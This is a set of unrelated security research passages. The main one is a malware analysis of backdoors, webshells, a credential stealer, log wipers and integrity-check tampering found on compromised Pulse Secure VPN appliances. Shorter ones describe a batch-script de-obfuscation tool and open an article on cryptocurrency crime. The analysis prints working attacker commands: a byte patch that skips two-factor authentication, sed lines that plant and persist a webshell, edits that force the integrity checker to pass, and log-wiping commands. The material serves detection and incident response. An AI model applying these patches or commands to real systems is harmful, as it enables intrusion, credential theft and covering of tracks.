RealmSignin Two Factor Auth Bypass We identified a fourth variant of SLOWPULSE responsible for bypassing what may be the two-factor authentication step of the DSAuth::RealmSignin process.
The backdoor is present within the function
DSAuth::RealmSignin::runSigninStep .This routine is responsible for multiple steps of the login procedure and is implemented as a large switch statement.
Case 11 of the switch statement typically calls the routines DSMap::setPrivacyKeyNames then DSAuth::RealmSignin::runSecondaryAuth .
The malicious logic in this variant overwrites the call to DSAuth::RealmSignin::runSecondaryAuth with mov eax, 1.
This forces application flow as if DSAuth::RealmSignin::runSecondaryAuth always succeeds, without ever calling it.
We were not able to recover a file with these patches applied as the attacker removed their patches after use.
However, we did uncover both the patcher and unpatcher utilities.
We do not provide a hash for this file as we have not recovered it from a system in the field.
This analysis was performed by replaying the changes performed by the patcher we did recover.
SLOWPULSE Variant 2 Patcher As part of our investigation into the SLOWPULSE family we were able to recover the utility used by the attacker to insert the malicious logic into the original libdsplibs.so file.
The file with SHA256: c9b323b9747659eac25cec078895d75f016e26a8b5858567c7fb945b7321722c is responsible for inserting SLOWPULSE V2 malicious logic to log ACE credentials.
The patcher accepts two command line arguments, the path to the original binary and the patched output file path.
The original binary is read into memory, patched, and then written to the output path.
The assembly patches and offsets into the original binary are hardcoded.
SLOWPULSE Variant 3 Patcher As part of our investigation into the SLOWPULSE family we were able to recover the utility used by the attacker to insert the malicious logic into the original libdsplibs.so file.
The file with SHA256: 06c56bd272b19bf7d7207443693cd1fc774408c4ca56744577b11fee550c23f7 is responsible for inserting SLOWPULSE V3 malicious logic to bypass ACE logon authentication process.
The patcher accepts four arguments.
The first argument is the original binary path, the second the patched output file path, third is the backdoor bypass password, and fourth is the letter e specifying to apply patches.
The sample reads the original binary into memory, applies the assembly patches associated with SLOWPULSE V3, as well as the provided bypass password, then written to the output path.
The assembly patches, and all offsets including where to copy the bypass password are hardcoded.
SLOWPULSE Variant 4 Patcher As part of our investigation into the SLOWPULSE family we recovered the utility the attacker used to insert the malicious logic into the original libdsplibs.so file.
The file with SHA256: e63ab6f82c711e4ecc8f5b36046eb7ea216f41eb90158165b82a6c90560ea415 responsible for inserting the patch for SLOWPULSE V3.
The patch applied overwrites a single call to DSAuth::RealmSignin::runSecondaryAuth with mov eax, 1 .
This patcher utility is a simple bash script, unlike the previous patchers which were compiled applications likely written in C. The script in full is: printf '\\xB8' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B31)) printf '\\x01' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B32))
printf '\\x00' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B33)) printf '\\x00' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B34)) printf '\\x00' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B35))
SLOWPULSE Variant 4
UnPatcher As part of our investigation into the SLOWPULSE family we were able to recover the utility used by the attacker to remove the malicious logic into the original libdsplibs.so file for SLOWPULSE V4.
The attacker chose to remove the patches applied to libdsplibs.so .
The file with SHA256: b2350954b9484ae4eac42b95fae6edf7a126169d0b93d79f49d36c5e6497062a is the unpatcher utility for SLOWPULSE V4.
This sample is also a simple bash script, in full it is: printf '\\xE8' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B31)) printf '\\xE2' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B32)) printf '\\x08' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B33))
printf '\\xD0' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B34)) printf '\\xFF' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B35))
STEADYPULSE
The file licenseserverproto.cgi (SHA256: 168976797d5af7071df257e91fcc31ce1d6e59c72ca9e2f50c8b5b3177ad83cc ) is a webshell implemented via modification of a legitimate Perl script used by a Pulse Secure tool which enables arbitrary command execution.
The attacker inserted two blocks of Perl code that implement the webshell.
The source code modifications are surrounded by comments that indicate the start and end of inserted code.
The comment strings used are ##cgistart1 , ##cgiend1 , ##cgistart2 and ##cgiend2 .
Although the exact purpose of these comment strings is unknown, the attacker may use them to facilitate updates to the malicious code or to allow for its quick removal if necessary.
The Perl script enclosed in the tags ##cgistart1 and ##cgiend1 adds several lines to import Perl modules that are used by the webshell.
It also adds a function to parse parameters of received command data.
The script enclosed in the tags ##cgistart2 and ##cgiend2 is responsible for checking web requests designed to be executed by the webshell, if present.
If no webshell request is found, the script passes execution to the legitimate Perl script for the webpage.
The webshell portion of the script is invoked when it receives a form submission name=value pair of serverid matching a secret key.
This causes the webshell to extract the string passed to it via the QUERY_STRING CGI environment variable.
Individual key/value pairs delimited by the & character and are URL decoded.
Although the script parses out all key/value pairs it receives, it specifically looks for and extracts data associated with the cmd parameter.
If found, it will generate a form containing the extracted cmd to be executed and the previous serverid value along with a form submission button named Run .
Upon submission, the webshell will execute the passed command on the victim host's command line and display the results to the attacker before exiting.
If no cmd value was extracted, the webshell will simply output a </pre
> HTML tag.
PULSECHECK
The file secid_canceltoken.cgi (SHA256: a1dcdf62aafc36dd8cf64774dea80d79fb4e24ba2a82adf4d944d9186acd1cc1 ) is a webshell written in Perl that enables arbitrary command execution.
With a properly formatted request, the script will execute webshell code.
Otherwise, the legitimate welcome page of the Pulse Secure VPN software is presumably invoked.
The script checks for web requests using the HTTP POST method and, if found, will further check the HTTP request headers for the CGI environment variable HTTP_X_KEY .
If this header matches a backdoor key, then the malware will output the result of the command sent in the variable HTTP_X_CMD .
This data is RC4 encrypted and base64-encoded.
The passphrase to decrypt is sent in the environment variable HTTP_X_CNT .
The webshell will set the content type to Content-type:text/html and the command output printed.
Following this, the script exits.
QUIETPULSE The file dsserver (SHA256: 9f6ac39707822d243445e30d27b8404466aa69c61119d5308785bf4a464a9ebd ) is a legitimate Perl script with malicious modifications to fork the child process /home/bin/dshelper .
The dshelper script does not exist on a clean PulseSecure installation, this file is described as QUIETPULSE Utility Script.
QUIETPULSE Utility Script The file dshelper (SHA256: c774eca633136de35c9d2cd339a3b5d29f00f761657ea2aa438de4f33e4bbba4 ) is a shell script invoked by a malicious version of dsserver that primarily functions as a utility script responsible for copying files and executing commands.
Like the ATRIUM patcher, this script accesses /tmp/data, a path which is used during a system upgrade.
This file is therefore, like the ATRIUM patcher, used by the attacker to maintain persistence.
The script is set to execute in a loop where four main checks are executed every two minutes.
The checks are as follows:
Check 1 If /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi exists and is non-empty then execute: grep -c -s 'system($depara)' /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi
It checks if the file has the contents system($depara) .
If the file does not contain this content, then retrieve the first line of the file by executing: sed -n 1p /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi Then copy a file via: cp /home/webserver/htdocs/dana-na/auth/compcheckjava.cgi /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi Then replace the copy’s first line with the one retrieved from the sed above via: sed -i 1c\"<varies>\" /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi Check 2 If /tmp/data/root/home/
bin/ exists as a directory, then check if the file /tmp/data/root/home/bin/dshelper does not exist.
If it does not exist, then place it there by copying a file via: cp
-p /home/bin/dshelper /tmp/data/root/home/bin/ Check 3 If /tmp/data/root/home/bin/dsserver exists and is non-empty then execute the following to check if the file does not contain the string exec(\"/home/bin/dshelper\") :
grep -c -s 'exec(\"/home/bin/dshelper\")' /tmp/data/root/home/bin/
dsserver
If it doesn't then execute to insert the line: sed -i 's/for (;;)/my $monpid = fork();\\nif ($monpid == 0) {\\nexec(\\\"\\/home\\/bin\\/dshelper\\\");\\n}\\n&/g' /tmp/data/root/home/bin/dsserver Check 4
If the file /tmp/data/root/home/bin/check_integrity.sh exists and is non-empty, then check if the file contains the string exit 1 by executing: grep -c -s 'exit 1' /tmp/data/root/home/bin/check_integrity.sh
If the file does contain this content, then execute the following to switch the content to exit 0 :
sed -i 's/exit 1/exit 0/g' /tmp
/data/root/home/bin/check_integrity.sh PULSEJUMP
The file with SHA256: 7fa71a7f76ef63465cfeacf58217e0b66fc71bc81d37c44380a6f572b8a3ec7a is a system information and credential harvesting Perl script.
The sample writes information from multiple sources to the file /tmp/
dsactiveuser.statementcounters in append mode.
The sample begins by retrieving all auth servers via the API AuthAdmin::getAllAuthServers .
and logs the results.
Next, the sample logs all roles via the API DSRole::GeneralAdmin::getRoles and writes the values to the file.
The sample may also retrieve and log additional information depending on the device configuration.
HARDPULSE The file compcheckjava.cgi (SHA256: 1d3ab04e21cfd40aa8d4300a359a09e3b520d39b1496be1e4bc91ae1f6730ecc ) has the ability to read and write arbitrary files and may execute arbitrary commands depending on the implementation of a particular library function.
The sample responds to HTTP GETs and PUTs.
The GET path is not relevant, but the PUT path first checks if the incoming requests checkcode POST param is equal to a hardcoded passcode.
If this check passes the sample inspects the param hashid to determine if it's non-empty.
If non-empty the sample displays a prompt to the user that includes hardware information and then base64 decodes the param hashid and checks it against pulsesecure.
If this matches a recoveryToken is generated which is the MD5 hash of 16 random bytes, with the result hash truncated to 8 characters.
This token is then displayed to the user via the URL https://ive-host/dana-na/auth/recover[.
]cgi?token=<varies> and the sample exits.
If this check did not match then the sample passes the base64 decoded data to a routine DSSafe::psystem which may execute shell commands, however this implementation is not provided and is speculation.
If the param hashid is empty the sample instead checks that the param m is non-empty.
If so, it's matched against get and put which will read/write arbitrary files to the host, respectively.
ATRIUM The file compcheckresult.cgi (SHA256: f2b1bd703c3eb05541ff84ec375573cbdc70309ccb82aac04b72db205d718e90 ) is a webshell capable of arbitrary command execution.
The sample has malicious logic inserted at the end of legitimate logic.
The malicious logic inspects all requests of any type looking for the HTTP query parameter id .
If this query parameter exists, the sample executes it verbatim on using the system API.
The sample does not encode or obfuscate the command in any way.
If the query parameter is not found in the request, then the original legitimate logic is invoked.
Persistence Patcher The file DSUpgrade.pm (SHA256: 224b7c45cf6fe4547d3ea66a12c30f3cb4c601b0a80744154697094e73dbd450 ) is a patcher utility script responsible for persisting webshells across a system upgrade.
We’ve observed variants of this utility targeting the persistence of multiple webshell families, notably ATRIUM, STEADYPULSE, and PULSECHECK.
Like previous patchers, this sample uses sed to insert malicious logic.
The attacker likely chose DSUpgade.pm to host their patch logic as it is a core file in the system upgrade procedure, ensuring the patch is during updates.
The patcher modifies content in /tmp/data as this directory holds the extracted upgrade image the newly upgraded system will boot into.
This results in a persistence mechanism which allows the attacker to maintain access to the system across updates.
my $cmd_x=\"sed -i '/echo_console \\\"Saving package\\\"/i( sed -i \\\\\\'/main();\\\\\\$/cif(CGI::param(\\\\\\\\\\\"id\\\\\\\\\\\")){ print \\\\\\\\\\\"Cache-Control: no-cache\\\\\\\\\\\\\\\\n\\\\\\\\\\\"; print \\\\\\\\\\\"Content-type: text/html\\\\\\\\\\\\\\\\n\\\\\\\\\\\\\\\\n\\\\\\\\\\\"; my \\\\\\\\\\$na=CGI::param(\\\\\\\\\\\"id\\\\\\\\\\\"); system(\\\\\\\\\\\"\\\\\\\\\\$na\\\\\\\"); } else{ &main(); }\\\\\\' /tmp/data/root$cgi_p; cp -f /home/perl/DSUpgrade.pm /tmp/data/root/home/perl; cp -f /pkg/dspkginstall /tmp/data/root/pkg/; )'/pkg/do-install\"; The patcher also performs additional shell commands for unpacking a compressed package: system(\"/bin/mount -o remount,rw /dev/root /\"); system(\"/bin/tar\", \"-xzf\", \"/tmp/new-pack.tgz\", \"-C\", \"/tmp\",\"./installer\"); system(\"cp -f /tmp/installer/do-install /pkg/\"); system(\"cp -f /tmp/installer/VERSION /pkg/\"); system(\"cp -f /tmp/installer/sysboot-shlib /pkg/\"); system(\"cp -f /tmp/installer/losetup /pkg/\"); PACEMAKER The file memread (SHA256: 68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2 ) is a credential stealer.
The sample has the usage information: Usage: memread [-t time(minute)]
[-m size(MB)]
[-s sleep_interval(second)]
The sample starts by setting an alarm that kills the application after a configurable number of minutes, 14 by default.
It then enters a loop which reads /proc/
entries every 2 seconds looking for a target application, this interval is also configurable.
The target is found by opening /proc/<process_name>/cmdline for each entry in the folder and then reading this file looking for the string dswsd within the command line.
Once found the target application's proc/<target_pid>/mem is opened, the process is attached to with PTRACE, then memory read in chunks up to 512 bytes in size.
For each chunk, the string 20 30 20 0A 00 ( 0 \\n) is searched for as a needle.
If found the sample splits the data by first space, then a dash -.
Two dashes are expected to be found, and these are immediately converted into hex numbers, example form: -<number
>.
If the second number minus the first is > 8191 the sample reads the data starting at the file offset of the first number, up to a size specified by second number minus first number.
Once the sample has read the process memory and found all memory data of interest the sample detaches PTRACE then the sample begins memory scanning the copied data.
The sample tries to locate a sequence of 'flags' in memory one by one to locate what seem to be information the attacker wishes to steal.
This information is not known, nor is the structure of it.
The sequences scanned for generally have start and end scan sequences which in order scanned for, are: USER_START_FLAG: 3C 05 08 75 73 65 72 4E 61 6D 65 05 01 3E 05 00
USER_END_FLAG:
3C 2F 05 08 75 73 65 72 4E 61 6D 65 05 01
3E 00 PASSWORD_START_FLAG: 3C 05 08 70 61 73 73 77
6F 72 64 05 01 3E 00 PASSWORD_END_FLAG:
3C 2F 05 08 70 61 73 73 77
6F 72 64 05 01 3E 00 AUTHNUM_START_FLAG: 3C 05
0A 61 75 74 68 4E 75 6D 62 65 72 05 01
3E 00 AUTHNUM_END_FLAG:
3C 2F 05 0A 61 75 74 68 4E 75 6D 62 65 72 05 01
3E 00
If all these sequences are found, the data between the start and end is extracted and eventually formatted and written to the file /tmp/dsserver-check.statementcounters .
The approximate format of this data is: Name:<username
> ||
Pwd:<password>
||
AuthNum:<authnumber>\\n The sample replaces the following URL encoded values with their ascii representation for the password: &amp; ->  & &lt;  ->  < &gt;  ->  >
PACEMAKER Launcher Utility As part of our investigation into PACEMAKER we were able to retrieve a simple bash script responsible for launching the credential stealer.
The launcher script hash SHA256 4c5555955b2e6dc55f52b0c1a3326f3d07b325b112060329c503b294208960ec launches PACEMAKER from a hardcoded path with options specifying a 16MB memory read size and a memory scan interval of 2 seconds, with a variable self-kill time.
#!/bin
/bash /home/bin/memread -t $1 -m 16 -s 2 & THINBLOOD Log Wiper Utility The file dsclslog with SHA256 88170125598a4fb801102ad56494a773895059ac8550a983fdd2ef429653f079 is a log wiper utility.
The sample provides the usage information: Usage: dsclslog -f
[events|access] -r [Regex1,Regex2,Regex3,...]
The –f flag specifies if the file log.events.vc0 or log.access.vc0 within the directory /home/runtime/logs should be modified.
To perform its log cleaning operations the sample first makes two copies of whichever log file was chosen, but uses .vc1
and .vc2
as the extension for the new files.
The file with the .vc1 is used to search for entries that match the given entries, and the file with the .vc2 extension is used as a temporary file where the cleaned log is written.
After generating both files and log cleaning is finished the sample executes the following commands via the system API to overwrite the original log with the cleaned version, then removes the intermediate: mv /home/runtime/logs/log.<logtype>.vc2 /home/runtime/logs/log.<logtype>.vc0 rm /home/runtime/logs/log.<logtype>.vc1 THINBLOOD LogWiper Utility Variant
The file clear_log.sh (SHA256: 1741dc0a491fcc8d078220ac9628152668d3370b92a8eae258e34ba28c6473b9 ) is a BASH script responsible for zeroing log lines that match a given regex pattern.
The sample is similar to the compiled THINBLOOD Log Wiper but edits logs in-place with sed rather than making temporary copies.
The sed commands used are: sed -i \"s/.\\x00[^\\x00]*<regex_string>[^\\x00]*\\x09.\\x00//g\" /data/runtime/logs/<logfile> sed -i
\"s/\\x<hex_char>\\x00[^\\x00]*$2[^\\x00]*\\x09\\x<hex_char>\\x00//g\" /data/runtime/logs/<logfile>
The sample embeds the usage information: usage: /home
/bin/bash clear_log.sh [logfile] [keyword(regex)] LOCKPICK
The file libcrypto.so (SHA256: 2610d0372e0e107053bc001d278ef71f08562e5610691f18b978123c499a74d8 ) is a shared object containing cryptographic logic from openssl.
The sample contains a modification to the routine bnrand_range that breaks the security of the random numbers generated.
There are three paths in this routine for generating a random big number between a given range.
The first case is unmodified and generates a zeroed big number, the other two cases are patched so that a constant value overwrites the generated random value and always returns success.
This breaks the random number generation by replacing it with a value the attacker knows in all cases.
LOCKPICK
Patcher The file with the hash b990f79ce80c24625c97810cb8f161eafdcb10f1b8d9d538df4ca9be387c35e4 is a patcher utility responsible for inserting the malicious logic known as LOCKPICK.
The patcher starts by running sed on the integrity checker script built into the appliance to insert an early exit routine.
This is inserted by the command sed -i '12aexit 0' /home/bin/check_integrity.sh which when applied causes this script to exit without performing its intended checks.
After this the sample uses python file read/write APIs to insert long strings of assembly that represent the logic known as LOCKPICK.
This file is different from the other patchers we’ve identified in that it is python and specifically targets system integrity routines.
Detecting the Techniques
The following table contains specific FireEye product detection names for the malware families associated with the exploitation of Pulse Secure VPN device.
Platform(s) Detection Name Network Security Email Security Detection On
Demand Malware File Scanning Malware File Storage Scanning FE_APT_Webshell_PL_HARDPULSE_1 FEC_APT_Webshell_PL_HARDPULSE_1 APT.Webshell.
PL.HARDPULSE
FE_APT_Trojan_PL_PULSEJUMP_1 FEC_APT_Trojan_PL_PULSEJUMP_1
FE_Trojan_PL_Generic_1 FE_APT_Trojan_PL_RADIALPULSE_1 FEC_APT_Trojan_PL_RADIALPULSE_1 FE_APT_Trojan_PL_RADIALPULSE_2 FE_APT_Trojan_PL_RADIALPULSE_3 FEC_APT_Trojan_PL_RADIALPULSE_2 FE_APT_Trojan_PL_RADIALPULSE_4 FEC_APT_Trojan_PL_RADIALPULSE_3 FE_APT_Trojan_PL_RADIALPULSE_5 FE_APT_Tool_SH_RADIALPULSE_1 FEC_APT_Tool_SH_RADIALPULSE_1
FE_APT_Trojan_Linux32_PACEMAKER_1 FE_APT_Trojan_Linux_PACEMAKER_1 FE_APT_Backdoor_Linux32_SLOWPULSE_1 FE_APT_Backdoor_Linux32_SLOWPULSE_2
FE_APT_Trojan_Linux32_SLOWPULSE_1 FE_APT_Tool_Linux32_SLOWPULSE_1 FE_APT_Webshell_PL_STEADYPULSE_1 FEC_APT_Webshell_PL_STEADYPULSE_1 APT.Webshell.
PL.STEADYPULSE
FE_APT_Trojan_Linux32_LOCKPICK_1 FE_Webshell_PL_ATRIUM_1 FEC_Webshell_PL_ATRIUM_1 FE_Trojan_SH_ATRIUM_1 FE_APT_Webshell_PL_SLIGHTPULSE_1 FEC_APT_Webshell_PL_SLIGHTPULSE_1 APT.Webshell.
PL.SLIGHTPULSE FE_APT_Webshell_PL_PULSECHECK_1 FEC_APT_Webshell_PL_PULSECHECK_1 FE_APT_Tool_Linux32_THINBLOOD_1
FE_APT_Tool_Linux_THINBLOOD_1 FE_APT_Tool_SH_THINBLOOD_1 FEC_APT_Tool_SH_THINBLOOD_1 APT.Tool.
Linux.
THINBLOOD.MVX FE_APT_Trojan_PL_QUIETPULSE_1 FEC_APT_Trojan_PL_QUIETPULSE_1 FE_Trojan_SH_Generic_2 FEC_Trojan_SH_Generic_3 Suspicious Pulse Secure HTTP request (IPS) Endpoint Security Real-Time (IOC) SLOWPULSE (BACKDOOR) PACEMAKER (LAUNCHER)
THINBLOOD (UTILITY)
Helix VPN ANALYTICS [Abnormal Logon] EXPLOIT - SONICWALL ES [CVE-2021-20021 Attempt] EXPLOIT - SONICWALL ES [CVE-2021-20021
Success] EXPLOIT - SONICWALL ES [CVE-2021-20023 Attempt] EXPLOIT - SONICWALL ES [CVE-2021-20023 Success]
Mandiant Security Validation Actions Organizations can validate their security controls using the following actions with Mandiant Security Validation .
VID Title A101-596 Malicious File Transfer - SLOWPULSE, Download, Variant #1 A101-597 Malicious File Transfer - SLOWPULSE, Download, Variant #2 A101-598 Malicious File Transfer - SLOWPULSE, Download, Variant #3 A101-599 Malicious File Transfer - SLOWPULSE, Download, Variant #4 A101-600 Malicious File Transfer - SLOWPULSE, Download, Variant #5 A101-601 Malicious File Transfer - SLOWPULSE, Download, Variant #6 A101-602 Malicious File Transfer - SLOWPULSE, Download, Variant #7 A101-604 Malicious File Transfer - Pulse Secure Vulnerability, Utility, Download, Variant #1 A101-605 Malicious File Transfer - RADIALPULSE, Download, Variant #1 A101-606 Malicious File Transfer - PULSEJUMP, Download, Variant #1 A101-607 Malicious File Transfer - HARDPULSE, Download, Variant #1 A101-608 Malicious File Transfer - SLIGHTPULSE, Download, Variant #1 A101-609 Malicious File Transfer - LOCKPICK, Patcher, Download, Variant #1 A101-610 Malicious File Transfer - LOCKPICK, Download, Variant #1 A101-611 Malicious File Transfer - ATRIUM, Patcher, Download, Variant #1 A101-612 Malicious File Transfer - PACEMAKER, Launcher, Download, Variant #1 A101-613 Malicious File Transfer - PACEMAKER, Download, Variant #1 A101-614 Malicious File Transfer - QUIETPULSE Utility, Download, Variant #1 A101-615 Malicious File Transfer - QUIETPULSE, Download, Variant #1 A101-616 Malicious File Transfer - STEADYPULSE, Download, Variant #2 A101-617 Malicious File Transfer - STEADYPULSE, Download, Variant #1 A101-618 Malicious File Transfer - ATRIUM, Download, Variant #1 A101-619 Malicious File Transfer - THINBLOOD, Download, Variant #1 A101-620 Malicious File Transfer - THINBLOOD, Download, Variant #2 A101-621 Malicious File Transfer - PULSECHECK, Download, Variant #1 A101-622 Malicious File Transfer - PULSECHECK, Download, Variant #2 A104-757 Host CLI - QUIETPULSE Utility, Check, Variant #1 A104-758 Host CLI - QUIETPULSE Utility, Check, Variant #2 A104-759 Host CLI - QUIETPULSE Utility, Check, Variant #3 A104-760 Host CLI - QUIETPULSE Utility, Check, Variant #4 Acknowledgements Mandiant would like to thank the Stroz Friedberg DFIR and Security Testing teams for their collaboration with the analysis and research.
The team would also like to thank Joshua Villanueva, Regina Elwell, Jonathan Lepore, Dimiter Andonov, Josh Triplett, Jacob Thompson and Michael Dockry for their hard work in analysis and blog content.
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When Daniel Bohannon released his excellent DOSfuscation paper, I was fascinated to see how tricks I used as a systems engineer could help attackers evade detection.
I didn’t have much to contribute to this conversation until I had to analyze a hideously obfuscated batch file as part of my job on the FLARE malware queue.
Previously, I released flare-qdb , which is a command-line and Python-scriptable debugger based on Vivisect.
I previously wrote about how to use flare-qdb to instrument and modify malware behavior.
Flare-qdb also made a guest appearance in Austin Baker and Jacob Christie’s SANS DFIR Summit 2017 briefing , inducing the Windows event log service to exclude process creation events.
In this blog post, I will show how I used flare-qdb to bring “script block logging” to the Windows command interpreter.
I will also share an Easter Egg that I found by flipping only a single bit in the process address space of cmd.exe.
Finally, I will share the script that I added to flare-qdb so you can de-obfuscate malicious command scripts yourself by executing them (in a safe environment, of course).
But first, I’ll talk about the analysis that led me to this solution.
At First Glance Figure 1 shows a batch script (MD5 hash 6C8129086ECB5CF2874DA7E0C855F2F6) that has been obfuscated using the BatchEncryption tool referenced in Daniel Bohannon’s paper.
This file does not appear in VirusTotal as of this writing, but its dropper does (the MD5 hash is ABD0A49FDA67547639EEACED7955A01A).
My goal was to de-obfuscate this script and report on what the attacker was doing.
Figure 1: Contents of XYNT.bat
This 165k batch file is dropped as C:\\Windows\\Temp\\XYNT.bat and executed by its dropper.
Its commands are built from environment variable substrings.
Figure 2 shows how to use the ECHO command to decode the first command.
Figure 2: Partial command decoding via the ECHO command The script uses hundreds of commands to set environment variables that are ultimately expanded to de-obfuscate malicious commands.
A tedious approach to de-obfuscating this script would be to de-fang each command by prepending an ECHO statement to print each de-obfuscated command to the console.
Unfortunately, although the ECHO command can “decode” each command, BatchEncryption needs the SET commands to be executed to decode future commands.
To decode this script while allowing the full malicious functionality to run as expected, you would have to iteratively and carefully echo and selectively execute a few hundred obfuscated SET commands.
The irony of BatchEncryption is that batch scripts are viewed as being easy to de-obfuscate, making binary code the safer place to hide logic from the prying eyes of network defenders.
But BatchEncryption adds a formidable barrier to analysis by its extensive, layered use of environment variables to rebuild the original commands.
Taking Cmd of the Situation I decided to see if it would be easier to instrument cmd.exe to log commands rather than de-obfuscating the script myself.
To begin, I debugged cmd.exe, set a breakpoint on CreateProcessW, and executed a program from the command prompt.
Figure 3 shows the call stack for CreateProcessW as cmd.exe executes notepad.
Figure 3:
Call stack for CreateProcessW in cmd.exe Starting from cmd!ExecPgm, I reviewed the disassembly of the above functions in cmd.exe to trace the origin of the command string up the call stack.
I discovered cmd!Dispatch, which receives not a string but a structure with pointers to the command, arguments, and any I/O redirection information (such as redirecting the standard output or error streams of a program to a file or device).
Testing revealed that these strings had all their environment variables expanded, which means we should be able to read the de-obfuscated commands from here.
Figure 4 is an exploration of this structure in WinDbg after running the command \"echo hai > nul\".
This command prints the word hai to the standard output stream but uses the right-angle bracket to redirect standard output to the NUL device, which discards all data.
The orange boxes highlight non-null pointers that got my attention during analysis, and the arrows point to the commands I used to discover their contents.
Figure 4: Exploring the interesting pointers in 2nd argument to cmd!Dispatch Because users can redirect multiple
I/O streams in a single command, cmd.exe represents I/O redirection with a linked list.
For example, the command in Listing 1 shows redirection of standard output (stream #1 is implicit) to shares.txt and standard error (stream #2 is explicitly referenced) to errors.txt.
net use > shares.txt 2>errors.txt
Listing 1: Command-line I/O redirection example Figure 5 shows the command data structure and the I/O redirection linked list in block diagram format.
Figure 5: Command data structure diagram By inspection, I found that cmd!Dispatch is responsible for executing both shell built-ins and executable programs, so unlike breaking on CreateProcess, it will not miss commands that do not result in process creation.
Based on these findings, I wrote a flare-qdb script to parse and dump commands as they are executed.
Introducing De-DOSfuscator De-DOSfuscator uses flare-qdb and Vivisect to hook the Dispatch function in cmd.exe and parse commands from memory.
The De-DOSfuscator script runs in a 64-bit Python 2 interpreter and dumps commands to both the console and a log file.
The script comes with the latest version of flare-qdb and is installed as a Python entry point named dedosfuscator.exe.
De-DOSfuscator relies on the location of the non-exported Dispatch function to log commands, and its location varies per system.
For convenience, if an Internet connection is available, De-DOSfuscator automatically retrieves this function’s offset using Microsoft’s symbol server.
To allow offline use, you can supply the path to a copy of cmd.exe from your offline machine to the --getoff switch to obtain this offset.
You can then supply that output as the argument to the --useoff switch in your offline machine to inform De-DOSfuscator where the function is located.
Alternately, you can use De-DOSfuscator with a downloaded PDB or a local symbol cache containing the correct symbols.
Figure 6 demonstrates getting and using the offset in a single session.
Note that for this to work in an isolated VM, you would instead specify the path to a copy of the guest’s command interpreter specific to that VM.
Figure 6: Getting and using offsets and testing De-DOSfuscator
This works great on the BatchEncrypted script in Figure 1.
Let’s have a look.
Results Figure 7 shows the log created by De-DOSfuscator after running XYNT.bat.
Hundreds of lines of SET statements progressively build environment variables for composing further commands.
Keen eyes will also note a misspelling of the endlocal command-line extension keyword.
Figure 7:
Beginning of dumped commands These environment variable manipulations give way to real commands as shown in Figure 8.
One of the script’s first actions is to use reg.exe to check the NUMBER_OF_PROCESSORS environment variable.
This analysis system only had one vCPU, which can be seen in the set \"a=1\" output on line 620.
After this, the script executes goto del, which branches to a batch label that ultimately deletes the script and other dropped files.
Figure 8: Anti-sandbox measure This is a batch-oriented spin on a common sandbox evasion trick.
It works because many malware analysis sandboxes run with a single CPU to minimize hypervisor resources, whereas most modern systems have at least two CPU cores.
Now that we can easily read the script’s commands, it is trivial to circumvent this evasion by, for example, increasing the number of vCPUs available to the VM.
Figure 9 shows De-DOSfuscator log after inducing the rest of the code to run.
Figure 9:
After circumventing anti-sandbox measure XYNT.bat calls a dropped binary to create and start a Windows service for persistence.
The largest dropped binary is a variant of the XMRig cryptocurrency miner, and many of the services and executables referenced by the script also appear to be cryptocurrency-related.
Happy Easter Easter is a long way off, but I must present you with a very early Easter Egg because it is such a neat little find.
During my journey through cmd.exe, I noticed a variable named fDumpParse having only one cross-reference that seemed to control an interesting behavior.
The lone cross-reference and the relevant code are shown in Figure 10.
Although fDumpParse is inaccessible anywhere else in the code, it controls whether a function is called to dump information about the command that has been parsed.
Figure 10: fDumpParse evaluation and cross-refs (EDI is NULL)
To experiment with this, you can use De-DOSfuscator’s --fDumpParse switch.
You will then be greeted with a command prompt that is more transparent about what it has parsed.
Figure 11 shows an example along with a graphical representation of the abstract syntax tree (AST) of parsed command tokens.
Figure 11:
Command interpreter with fDumpParse set Microsoft probably inserted the fDumpParse flag so developers could debug issues with cmd.exe.
Unfortunately, as nifty as this is, it has drawbacks for bulk de-obfuscation: This output is harder to read than plain commands, because it dumps the tree in preorder traversal rather than inorder like it was typed.
Output copied from the console may contain extraneous line breaks depending on the console host program’s text wrapping behavior.
Scrolling in the command interpreter to read or copy output can be tedious.
The console buffer is limited, so not everything may be captured.
Malicious script authors can still use the CLS command to clear the screen and make all the fDumpParse output disappear.
Gratuitous joining of commands with command separators (as found in XYNT.bat) yields unreadable ASTs that exceed the console width and wrap around, as in Figure 12.
Figure 12: fDumpParse result exceeding console width Consequently, fDumpParse is not ideal for de-obfuscating large, malicious batch files; however, it is still interesting and useful for de-obfuscating short scripts or one-off commands.
You can get the offset De-DOSfuscator needs for offline use via --getoff and use it via --useoff, as with normal operation.
Wrapping Up I have given you an example of a heavily obfuscated command script and I have shared a useful tool for de-obfuscating it, along with the analytical steps that I followed to synthesize it.
The De-DOSfuscator script code comes with the latest version of flare-qdb and is accessible as a script entry point (dedosfuscator.exe) when you install flare-qdb.
It is my hope that this not only helps you to conveniently analyze malicious batch scripts, but also inspires you to devise your own creative ways to employ flare-qdb against malware.
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By Charles McFarland and Shivangee Trivedi on Mar 11, 2018 In December 2017 Bitcoin values skyrocketed, peaking at the unprecedented amount of roughly US$19,000 per coin.
Unsurprisingly, the market for cryptocurrencies exploded in response.
Investors, companies, and even the public found a fresh interest in digital currencies.
However, the exciting change in Bitcoin value did not just influence your average wealth seeker.
It also influenced vast underground cybercriminal markets, malware developers, and cybercriminal behavior.
